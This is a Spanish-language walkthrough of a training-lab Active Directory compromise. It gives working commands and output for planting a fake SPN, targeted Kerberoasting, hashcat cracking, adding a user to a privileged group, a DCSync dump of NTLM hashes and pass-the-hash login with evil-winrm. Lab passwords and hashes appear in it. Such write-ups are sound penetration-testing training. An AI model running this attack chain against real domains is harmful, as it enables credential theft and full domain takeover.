Page cover

🏛️Comprometiendo Active Directory

Para resumir, investigamos el entorno de Active Directory y obtuvimos el siguiente par de credenciales:

mssqladm:DBAilfreight1!

Análisis con BloodHound

Al analizar los datos de BloodHound, observamos que tenemos permisos GenericWrite sobre usuario ttimmons. Con esto, podemos configurar un SPN falso en la cuenta ttimmons y realizar un ataque Kerberosting dirigido. Si este usuario usa una contraseña débil, podemos descifrarla y continuar.

Regresemos a la máquina DEV01 donde cargamos PowerView.

Objeto PSCredential

Podemos crear un objeto PSCredential para poder ejecutar comandos como el usuario mssqladm sin tener que volver a usar RDP.

PS C:\DotNetNuke\Portals\0> $SecPassword = ConvertTo-SecureString 'DBAilfreight1!' -AsPlainText -Force
PS C:\DotNetNuke\Portals\0> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\mssqladm', $SecPassword)

Crear un SPN falso

A continuación, usaremos Set-DomainObject para configurar un SPN falso en la cuenta objetivo. Crearemos un SPN llamado acmetesting/LEGIT que, por supuesto, eliminaremos más adelante y anotaremos en los apéndices de nuestro informe.

PS C:\DotNetNuke\Portals\0> Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=ttimmons)(name=ttimmons)(displayname=ttimmons))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'acmetesting/LEGIT' for object 'ttimmons

Kerberoasting dirigido

A continuación podemos regresar a nuestro host de ataque y usar GetUserSPNs.py para realizar un ataque Keberoasting dirigido.

afsh4ck@kali$ proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons

ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.24.dev1+20210922.102044.c7bc76f8 - Copyright 2021 SecureAuth Corporation

Password:
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:389-<><>-OK
ServicePrincipalName  Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
--------------------  --------  --------  --------------------------  ---------  ----------
acmetesting/LEGIT     ttimmons            2022-06-01 14:32:18.194423  <never>               



|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:88-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:88-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:88-<><>-OK
$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$6c391145c0c6430a1025df35c3e674c4$2d66d2dc6622c6af0a9afd0b1934220363f74726dcaa38ad49ec37b54b0dfe4e0ad42a443cc825fd49bea230748e1467b53be757b432a8d3fbc7ba1817d9bac69159ff86381fc4ae266210ee228c8f9de4c103d6d3a16039ea5f41cd2483a77e0e6486ea7cf78539b27aa26f8b245a611a52c0de9b11abe36a02ad5f8e9d5ee9b821db4834c0168d3426ea57acd4f82cdd0edd64a649df01cc9db28fea597c2910ffd67146ab571a9b19ddea34a2b991382394bd36efa5be9da947e44f0ac040df2a55ebd791a08fbfe25634483624cca1d4dadeab9327e0fe328ab9ae128d75d4c9908a3878c03ab20821edecca73df6066d0ead15e9b2c97c417de1f1cb2b6fe0890388a1738f420e69f7bb07b414e860774a414452ba613d62cc516a5e5fff58567573ad721992c6e036553f250372d053148bf4d88a<SNIP>

Cracking de contraseña

Iniciaremos Hashcat y veremos si el usuario está usando una contraseña débil.

afsh4ck@kali$ hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$$6c391145c0c6430a1025df35c3e674c4$2d66d2dc6622c6af0a9afd0b1934220363f74726dcaa38ad49ec37b54b0dfe4e0ad42a443cc825fd49bea230748e1467b53be757b432a8d3fbc7ba1817d9bac69159ff86381fc4ae266210ee228c8f9de4c103d6d3a16039ea5f41cd2483a77e0e6486ea7cf78539b27aa26f8b245a611a52c0de9b11abe36a02ad5f8e9d5ee9b821db4834c0168d3426ea57acd4f82cdd0edd64a649df01cc9db28fea597c2910ffd67146ab571a9b19ddea34a2b991382394bd36efa5be9da947e44f0ac040df2a55ebd791a08fbfe25634483624cca1d4dadeab9327e0fe328ab9ae128d75d4c9908a3878c03ab20821edecca73df6066d0ead15e9b2c97c417de1f1cb2b6fe0890388a1738f420e69f7bb07b414e860774a414452ba613d62cc516a5e5fff58567573ad721992c6e036553f250372d053148bf4d88a<SNIP>:<PASSWORD REDACTED>
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFRE...6e6976
Time.Started.....: Wed Jun 22 16:32:27 2022 (22 secs)
Time.Estimated...: Wed Jun 22 16:32:49 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   485.7 kH/s (2.50ms) @ Accel:16 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10678272/14344385 (74.44%)
Rejected.........: 0/10678272 (0.00%)
Restore.Point....: 10672128/14344385 (74.40%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Rock4ever! -> Redeye2

Started: Wed Jun 22 16:32:24 2022
Stopped: Wed Jun 22 16:32:51 2022

Ahora tenemos otro par de credenciales; es hora del usuario ttimmons. Veamos qué tipo de acceso tiene este usuario. Al revisar BloodHound de nuevo, vemos que tenemos acceso GenericAll al grupo SERVER ADMINS.

Mirando un poco más allá, vemos que el grupo SERVER ADMINS tiene la capacidad de realizar el ataque DCSync para obtener hashes de contraseñas NTLM para cualquier usuario del dominio.

Ataque DCSync

Para abusar de esto, primero agregamos al usuario ttimmons al grupo SERVER ADMINS. Primero, debemos crear otro objeto PSCredential.

PS C:\htb> PS C:\DotNetNuke\Portals\0> $timpass = ConvertTo-SecureString '<PASSWORD REDACTED>' -AsPlainText -Force
PS C:\DotNetNuke\Portals\0> $timcreds = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ttimmons', $timpass)

Una vez hecho esto, podemos agregar el usuario al grupo de destino y heredar los privilegios DCSync.

PS C:\DotNetNuke\Portals\0> $group = Convert-NameToSid "Server Admins"
PS C:\DotNetNuke\Portals\0> Add-DomainGroupMember -Identity $group -Members 'ttimmons' -Credential $timcreds -verbose

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'ttimmons' to group 'S-1-5-21-2814148634-3729814499-1637837074-1622

Finalmente, podemos usar Impacket Secretsdump para sincronizar con DCSync todos los hashes de contraseñas NTLM del controlador de dominio.

afsh4ck@kali$ proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm

ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.24.dev1+20210922.102044.c7bc76f8 - Copyright 2021 SecureAuth Corporation

Password:
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:135-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:49676-<><>-OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fd1f7e55xxxxxxxxxx787ddbb6e6afa2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b9362dfa5abf924b0d172b8c49ab58ac:::
inlanefreight.local\avazquez:1716:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca03767427b2f2a909f:::
inlanefreight.local\pfalcon:1717:aad3b435b51404eeaad3b435b51404ee:f8e656de86b8b13244e7c879d8177539:::
inlanefreight.local\fanthony:1718:aad3b435b51404eeaad3b435b51404ee:9827f62cf27fe221b4e89f7519a2092a:::
inlanefreight.local\wdillard:1719:aad3b435b51404eeaad3b435b51404ee:69ada25bbb693f9a85cd5f176948b0d5:::

<SNIP>

Próximos pasos

Después de documentar todos los pasos, podemos realizar diversas acciones, muchas de las cuales se detallan en la siguiente sección. Es recomendable volcar toda la base de datos NTDS y descifrar contraseñas sin conexión para que el cliente tenga una idea de la seguridad general de sus contraseñas y otras métricas.

También puede mostrar evidencia de la capacidad de autenticarse en un controlador de dominio y ejecutar algunos comandos, ya que esto puede ser más claro que ver el resultado de secretsdump, con el que quizás no estén familiarizados. Conectarse al controlador de dominio mediante RDP e incluir una captura de pantalla en el informe que muestre una consola abierta con los resultados de los comandos hostname, whoami y ipconfig /allpuede ser una excelente herramienta visual.

Además, podemos aportar mucho valor después de la administración del dominio realizando auditorías adicionales de AD, atacando las confianzas de dominio y bosque (si están dentro del alcance) y, finalmente, probando las alertas del cliente creando un nuevo administrador de dominio y un administrador de empresa o añadiendo una cuenta que controlemos a cada uno de estos grupos. Lo ideal es que supervisen estos grupos con altos privilegios y detecten esto, ya sea manualmente o, mejor aún, implementen un sistema automatizado para eliminar las cuentas de los grupos.

Si lo hacen, incluyan esta acción en el informe como un cambio de configuración en los apéndices y feliciten al cliente si lo detecta y toma las medidas correspondientes. Reconocer las acciones positivas que observan en la red o que realiza el cliente es importante y contribuye en gran medida a generar buena reputación.


Caso práctico

Objetivo: 10.129.229.147

Pregunta 1

Establece un SPN falso para el usuario ttimmons. Aprovecha el Kerberosting para este usuario y descifra el ticket TGS sin conexión para revelar su contraseña en texto plano. Envíe esta contraseña como respuesta.

Crear un SPN Falso

PS C:\Users\hporter> Import-Module .\PowerView.ps1
PS C:\Users\hporter> $SecPassword = ConvertTo-SecureString 'DBAilfreight1!' -AsPlainText -Force
PS C:\Users\hporter> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\mssqladm', $SecPassword)
PS C:\Users\hporter> Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=ttimmons)(name=ttimmons)(displayname=ttimmons))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'acmetesting/LEGIT' for object 'ttimmons'

Configurar Pivoting SSH

afsh4ck@kali$ ssh -D 8081 -i dmz01_key root@10.129.229.147

Kerberoasting dirigido

afsh4ck@kali$ proxychains impacket-GetUserSPNs -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:389  ...  OK
ServicePrincipalName  Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
--------------------  --------  --------  --------------------------  ---------  ----------
acmetesting/LEGIT     ttimmons            2022-06-01 20:32:18.194423  <never>               

[-] CCache file is not found. Skipping...
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:88  ...  OK
$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$ad1eb76f7e555e214d8365c1c17f6f0d$bfe88f4c5b7<---SNIP--->

Cracking con Hashcat

afsh4ck@kali$ hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<---SNIP--->

$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$ad1eb76f7e555e214d8365c1c17f6f0d$bfe88f4c5b71929a550eeb1b97c3bb2313a74f08df7c32170b2a0b30cb97d57fbfddbea35596aac3ee4230253b1c564b8fce506c2706fe68bd3d1fa05e731f2add2326c5b64fd521816ed2230186f8382fecc85462c79f7e2408e0dfbf3fd977023c9e28ebc23ad2dbb61f4c8e637ef69f733dbfdd110193e07e127ecbeaf4eeeb37631155b1b40e05f99476f216503f945eb853b573d6916401763d503c99f2c49cbfb148b9d92cdd77d96d762bd7c9d1fc5ad21751edfd99d653b1cc1e9f870403cf0ec5368538ea2b03c142c<---SNIP--->:Repeat09
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFRE...b58204
Time.Started.....: Fri Apr 25 18:30:57 2025 (8 secs)
Time.Estimated...: Fri Apr 25 18:31:05 2025 (0 secs)

Tenemos la contraseña!

Pregunta 2

Después de obtener los derechos de Domain Admin, autentícate en el controlador de dominio y envía el contenido del archivo flag.txt en el Escritorio del administrador.

Al revisar BloodHound vemos que el usuario ttimmons tiene acceso GenericAll al grupo SERVER ADMINS.

Y vemos que el grupo SERVER ADMINS tiene la capacidad de realizar el ataque DCSync para obtener hashes de contraseñas NTLM para cualquier usuario del dominio.

Añadir a ttimmons al grupo Server Admins

PS C:\htb> PS C:\DotNetNuke\Portals\0> $timpass = ConvertTo-SecureString 'Repeat09' -AsPlainText -Force
PS C:\DotNetNuke\Portals\0> $timcreds = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ttimmons', $timpass)
PS C:\Users\hporter> $group = Convert-NameToSid "Server Admins"

PS C:\Users\hporter> Add-DomainGroupMember -Identity $group -Members 'ttimmons' -Credential $timcreds -verbose

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'ttimmons' to group 'S-1-5-21-2814148634-3729814499-1637837074-1622'

Ahora que ya hemos añadido al usuario ttimmons al grupo SERVER ADMINS vamos a loguearnos en el Domain Controller. Probamos a acceder por RDP y por EvilWinrm pero no conseguimos acceso, por lo que vamos a utilizar el hash del administrador que hemos conseguido en la pregunta 3:

afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.3 -u administrator -H fd1f7e5564060258ea787ddbb6e6afa2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:5985  ...  OK

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
inlanefreight\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/1/2022  11:34 AM             32 flag.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type flag.txt
7c09eb1fff981654a3bb3b4a**********

Pregunta 3

Compromete el dominio INLANEFREIGHT.LOCAL y descarga la base de datos NTDS. Envía el hash NT de la cuenta de administrador como respuesta.

Ataque DCSync

afsh4ck@kali$ proxychains impacket-secretsdump ttimmons@172.16.8.3 -just-dc-ntlm

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:445  ...  OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.3:49667  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fd1f7e5564060258ea787ddbb6e6afa2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b9362dfa5abf924b0d172b8c49ab58ac:::
inlanefreight.local\avazquez:1716:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca03767427b2f2a909f:::
inlanefreight.local\pfalcon:1717:aad3b435b51404eeaad3b435b51404ee:f8e656de86b8b13244e7c879d8177539:::
inlanefreight.local\fanthony:1718:aad3b435b51404eeaad3b435b51404ee:9827f62cf27fe221b4e89f7519a2092a:::
inlanefreight.local\wdillard:1719:aad3b435b51404eeaad3b435b51404ee:69ada25bbb693f9a85cd5f176948b0d5:::
inlanefreight.local\lbradford:1720:aad3b435b51404eeaad3b435b51404ee:0717dbc7b0e91125777d3ff4f3c00533:::
inlanefreight.local\sgage:1721:aad3b435b51404eeaad3b435b51404ee:31501a94e6027b74a5710c90d1c7f3b9:::
inlanefreight.local\asanchez:1722:aad3b435b51404eeaad3b435b51404ee:c6885c0fa57ec94542d362cf7dc2d541:::
inlanefreight.local\dbranch:1723:aad3b435b51404eeaad3b435b51404ee:a87c92932b0ef15f6c9c39d6406c3a75:::

Tenemos el hash del administrador!

Última actualización

¿Te fue útil?